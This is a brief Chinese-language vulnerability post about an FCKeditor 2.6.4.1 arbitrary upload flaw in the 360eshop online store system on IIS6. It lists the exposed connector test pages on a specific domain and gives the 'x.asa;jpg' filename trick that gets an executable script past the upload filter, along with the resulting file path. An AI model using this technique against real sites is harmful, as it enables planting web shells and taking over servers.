内容: 360eshop安全网店系统 采用FCK编译器 版本:2.6.4.1

测试平台:IIS6

测试方法: 

https://www.iick.blog/expansion/fckeditor/editor/filemanager/connectors/test.html

https://www.iick.blog/expansion/fckeditor/editor/filemanager/connectors/uploadtest.html

这个两个页面,是漏洞的关键,格式x.asa;jpg 顺利上传,文件路径也出来了,

/uploadfile/FCK_201109260018186311.ASA;JPG